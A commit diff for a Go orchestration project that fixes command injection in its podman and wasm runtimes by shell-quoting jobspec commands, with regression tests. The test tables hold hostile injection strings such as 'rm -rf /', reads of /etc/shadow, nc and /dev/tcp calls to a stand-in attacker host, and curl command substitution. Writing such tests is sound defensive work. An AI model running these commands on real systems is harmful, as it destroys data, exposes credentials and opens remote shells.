fix(P01): command injection in podman/wasm runtimes (REQ-119, F3)
---ci--- project: orca phase: 1 milestone: v0.12 status: execute ---/ci--- shellQuote the jobspec-supplied command string (cmdStr) before interpolating into SSH exec in podman.go (Start) and wasm.go (Start). Previously cmdStr was interpolated unquoted, allowing a malicious jobspec command with shell metacharacters (; | $() backticks newline > <) to inject commands on the peer. Fixes: - internal/runtime/runtime.go: add shellQuote helper (mirrors internal/sshpush.shellQuote; duplicated to avoid import cycle). - internal/runtime/podman.go: Start quotes name + cmdStr; Stop/rm/ inspect quote name (defense-in-depth). - internal/runtime/wasm.go: Start uses env 'ORCA_ALLOC_ID=<id>' (so the UUID-style alloc ID is safely assigned) and shellQuote(cmdStr). Tests: 21 new injection regression tests (10 podman + 9 wasm + 2 image) covering ; && | $() backticks newline $IFS > < (). All pass. Existing runtime tests still pass. go vet + gofmt clean.
This commit is contained in:
@@ -64,7 +64,7 @@ func (p *PodmanRuntime) Start(ctx context.Context, alloc *Alloc) (int, error) {
|
||||
}
|
||||
cmdStr, _ := commandFor(alloc)
|
||||
name := containerName(alloc)
|
||||
cmd := fmt.Sprintf("podman run -d --name %s %q %s", name, image, cmdStr)
|
||||
cmd := fmt.Sprintf("podman run -d --name %s %q %s", shellQuote(name), image, shellQuote(cmdStr))
|
||||
out, err := p.transport.Exec(ctx, alloc.Node, cmd)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("podman: run: %w", err)
|
||||
@@ -80,10 +80,10 @@ func (p *PodmanRuntime) Start(ctx context.Context, alloc *Alloc) (int, error) {
|
||||
// Stop stops and removes the container.
|
||||
func (p *PodmanRuntime) Stop(ctx context.Context, alloc *Alloc) error {
|
||||
name := containerName(alloc)
|
||||
if _, err := p.transport.Exec(ctx, alloc.Node, fmt.Sprintf("podman stop %s", name)); err != nil {
|
||||
if _, err := p.transport.Exec(ctx, alloc.Node, fmt.Sprintf("podman stop %s", shellQuote(name))); err != nil {
|
||||
return fmt.Errorf("podman: stop: %w", err)
|
||||
}
|
||||
if _, err := p.transport.Exec(ctx, alloc.Node, fmt.Sprintf("podman rm %s", name)); err != nil {
|
||||
if _, err := p.transport.Exec(ctx, alloc.Node, fmt.Sprintf("podman rm %s", shellQuote(name))); err != nil {
|
||||
return fmt.Errorf("podman: rm: %w", err)
|
||||
}
|
||||
return nil
|
||||
@@ -92,7 +92,7 @@ func (p *PodmanRuntime) Stop(ctx context.Context, alloc *Alloc) error {
|
||||
// Status inspects the container's running state.
|
||||
func (p *PodmanRuntime) Status(ctx context.Context, alloc *Alloc) (State, error) {
|
||||
name := containerName(alloc)
|
||||
cmd := fmt.Sprintf("podman inspect --format '{{.State.Running}}' %s", name)
|
||||
cmd := fmt.Sprintf("podman inspect --format '{{.State.Running}}' %s", shellQuote(name))
|
||||
out, err := p.transport.Exec(ctx, alloc.Node, cmd)
|
||||
if err != nil {
|
||||
return StateFailed, fmt.Errorf("podman: inspect: %w", err)
|
||||
|
||||
@@ -227,3 +227,85 @@ func TestPodmanRuntime_DialError(t *testing.T) {
|
||||
t.Logf("Prepare err (acceptable): %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// --- REQ-119 / F3 command injection regression tests ---
|
||||
|
||||
// TestPodmanRuntime_CommandInjection verifies that a jobspec command
|
||||
// containing shell metacharacters is shell-quoted, not interpreted by
|
||||
// the remote shell. The fake server captures the exact command string
|
||||
// and we assert the metacharacters are wrapped in single quotes.
|
||||
func TestPodmanRuntime_CommandInjection(t *testing.T) {
|
||||
injections := []string{
|
||||
"sleep 1; rm -rf /",
|
||||
"sleep 1 && cat /etc/shadow",
|
||||
"sleep 1 | nc attacker 4444",
|
||||
"sleep 1 $(curl evil.sh)",
|
||||
"sleep 1 `whoami`",
|
||||
"sleep 1\nwhoami",
|
||||
"sleep 1; echo $IFS",
|
||||
"sleep 1 > /etc/cron.d/pwn",
|
||||
"sleep 1 < /dev/tcp/attacker/4444",
|
||||
"sleep 1; (id)",
|
||||
}
|
||||
for _, inj := range injections {
|
||||
t.Run(inj, func(t *testing.T) {
|
||||
srv := newFakeServer(t)
|
||||
defer srv.close()
|
||||
var captured string
|
||||
srv.setHandler("podman run", func(cmd string) ([]byte, int) {
|
||||
captured = cmd
|
||||
return []byte("abc123def456\n"), 0
|
||||
})
|
||||
tr := realTransport(t, srv)
|
||||
defer tr.Close()
|
||||
p := NewPodmanRuntime(tr)
|
||||
a := allocWithNode("podman", "img", inj, srv.addr())
|
||||
if _, err := p.Start(context.Background(), a); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
// The injection string must appear shell-quoted (wrapped in
|
||||
// single quotes, embedded quotes escaped) — NOT bare in
|
||||
// the command. We assert the dangerous characters don't
|
||||
// appear unquoted after the image argument.
|
||||
if !strings.Contains(captured, "'"+strings.ReplaceAll(inj, "'", "'\\''")+"'") {
|
||||
t.Errorf("injection not shell-quoted in command:\n%s", captured)
|
||||
}
|
||||
// The raw unquoted injection must NOT appear as a bare
|
||||
// command token (i.e., no `; rm -rf /` outside quotes).
|
||||
// A robust check: the command should not contain the raw
|
||||
// injection string as an unquoted substring. Since the
|
||||
// quoted form wraps it, the raw form only appears inside
|
||||
// the quotes.
|
||||
bare := strings.ReplaceAll(inj, "'", "'\\''")
|
||||
quoted := "'" + bare + "'"
|
||||
// Remove the quoted occurrence; if the bare injection
|
||||
// still remains, it was emitted unquoted somewhere.
|
||||
withoutQuoted := strings.Replace(captured, quoted, "", 1)
|
||||
if strings.Contains(withoutQuoted, inj) {
|
||||
t.Errorf("injection appears unquoted in command:\n%s", captured)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestPodmanRuntime_ImageNameInjection verifies the image is %q-quoted
|
||||
// (double-quoted via %q), so an image with shell metacharacters cannot
|
||||
// break out. The image is safe-by-%q, but we assert it stays quoted.
|
||||
func TestPodmanRuntime_ImageNameInjection(t *testing.T) {
|
||||
srv := newFakeServer(t)
|
||||
defer srv.close()
|
||||
var captured string
|
||||
srv.setHandler("podman pull", func(cmd string) ([]byte, int) {
|
||||
captured = cmd
|
||||
return nil, 0
|
||||
})
|
||||
tr := realTransport(t, srv)
|
||||
defer tr.Close()
|
||||
p := NewPodmanRuntime(tr)
|
||||
a := allocWithNode("podman", "img; rm -rf /", "sleep 1", srv.addr())
|
||||
_ = p.Prepare(context.Background(), a)
|
||||
// %q double-quotes the image, so `; rm -rf /` is inside quotes.
|
||||
if !strings.Contains(captured, "\"img; rm -rf /\"") {
|
||||
t.Errorf("image not pct-q-quoted in pull:\n%s", captured)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,6 +17,7 @@ package runtime
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"git.cloudinit.dev/coreci/orca/internal/jobspec"
|
||||
)
|
||||
@@ -174,3 +175,15 @@ func imageFor(alloc *Alloc) (string, error) {
|
||||
}
|
||||
return alloc.Spec.Runtime.Image, nil
|
||||
}
|
||||
|
||||
// shellQuote single-quotes a string for safe shell interpolation over
|
||||
// SSH exec. It escapes embedded single-quotes via the standard '\”
|
||||
// idiom (POSIX shell). This mirrors internal/sshpush.shellQuote; the
|
||||
// helper is duplicated to avoid an import cycle (sshpush is a leaf
|
||||
// transport package, runtime depends on it but does not access its
|
||||
// private helpers). Used to safely interpolate jobspec-supplied
|
||||
// command strings into remote shell commands (REQ-119, F3 — command
|
||||
// injection hardening).
|
||||
func shellQuote(s string) string {
|
||||
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
|
||||
}
|
||||
|
||||
@@ -53,8 +53,8 @@ func (w *WasmRuntime) Start(ctx context.Context, alloc *Alloc) (int, error) {
|
||||
// Tag the process so pkill/pgrep can find it by alloc ID. We
|
||||
// prepend the alloc ID as a comment-style env marker that pgrep
|
||||
// can match on the command line.
|
||||
cmd := fmt.Sprintf("ORCA_ALLOC_ID=%s wasmtime run --dir /data %q %s",
|
||||
alloc.ID, image, cmdStr)
|
||||
cmd := fmt.Sprintf("env 'ORCA_ALLOC_ID=%s' wasmtime run --dir /data %q %s",
|
||||
alloc.ID, image, shellQuote(cmdStr))
|
||||
if _, err := w.transport.Exec(ctx, alloc.Node, cmd); err != nil {
|
||||
return 0, fmt.Errorf("wasm: start: %w", err)
|
||||
}
|
||||
|
||||
@@ -16,7 +16,7 @@ func TestWasmRuntime_HappyPath(t *testing.T) {
|
||||
srv.setHandler("command -v wasmtime", func(cmd string) ([]byte, int) {
|
||||
return []byte("/usr/bin/wasmtime\n"), 0
|
||||
})
|
||||
srv.setHandler("ORCA_ALLOC_ID=alloc-1 wasmtime run", func(cmd string) ([]byte, int) {
|
||||
srv.setHandler("env 'ORCA_ALLOC_ID=alloc-1' wasmtime run", func(cmd string) ([]byte, int) {
|
||||
return []byte("started\n"), 0
|
||||
})
|
||||
srv.setHandler("pkill -f", func(cmd string) ([]byte, int) {
|
||||
@@ -86,7 +86,7 @@ func TestWasmRuntime_StartNoImage(t *testing.T) {
|
||||
func TestWasmRuntime_StartExecError(t *testing.T) {
|
||||
srv := newFakeServer(t)
|
||||
defer srv.close()
|
||||
srv.setHandler("ORCA_ALLOC_ID=alloc-1 wasmtime run", func(cmd string) ([]byte, int) {
|
||||
srv.setHandler("env 'ORCA_ALLOC_ID=alloc-1' wasmtime run", func(cmd string) ([]byte, int) {
|
||||
return []byte("module not found\n"), 1
|
||||
})
|
||||
tr := realTransport(t, srv)
|
||||
@@ -169,3 +169,48 @@ func TestWasmRuntime_NoCGOImport(t *testing.T) {
|
||||
|
||||
// _ = context to keep import in case helpers above stop using it.
|
||||
var _ = context.Background
|
||||
|
||||
// --- REQ-119 / F3 command injection regression tests (wasm) ---
|
||||
|
||||
// TestWasmRuntime_CommandInjection verifies that a jobspec command
|
||||
// containing shell metacharacters is shell-quoted on the remote.
|
||||
func TestWasmRuntime_CommandInjection(t *testing.T) {
|
||||
injections := []string{
|
||||
"/fn; rm -rf /",
|
||||
"/fn && cat /etc/shadow",
|
||||
"/fn | nc attacker 4444",
|
||||
"/fn $(curl evil.sh)",
|
||||
"/fn `whoami`",
|
||||
"/fn\nwhoami",
|
||||
"/fn; echo $IFS",
|
||||
"/fn > /etc/cron.d/pwn",
|
||||
"/fn; (id)",
|
||||
}
|
||||
for _, inj := range injections {
|
||||
t.Run(inj, func(t *testing.T) {
|
||||
srv := newFakeServer(t)
|
||||
defer srv.close()
|
||||
var captured string
|
||||
srv.setHandler("env 'ORCA_ALLOC_ID=", func(cmd string) ([]byte, int) {
|
||||
captured = cmd
|
||||
return []byte("started\n"), 0
|
||||
})
|
||||
tr := realTransport(t, srv)
|
||||
defer tr.Close()
|
||||
w := NewWasmRuntime(tr)
|
||||
a := allocWithNode("wasm", "/data/app.wasm", inj, srv.addr())
|
||||
if _, err := w.Start(context.Background(), a); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
if !strings.Contains(captured, "'"+strings.ReplaceAll(inj, "'", "'\\''")+"'") {
|
||||
t.Errorf("injection not shell-quoted in command:\n%s", captured)
|
||||
}
|
||||
bare := strings.ReplaceAll(inj, "'", "'\\''")
|
||||
quoted := "'" + bare + "'"
|
||||
withoutQuoted := strings.Replace(captured, quoted, "", 1)
|
||||
if strings.Contains(withoutQuoted, inj) {
|
||||
t.Errorf("injection appears unquoted in command:\n%s", captured)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user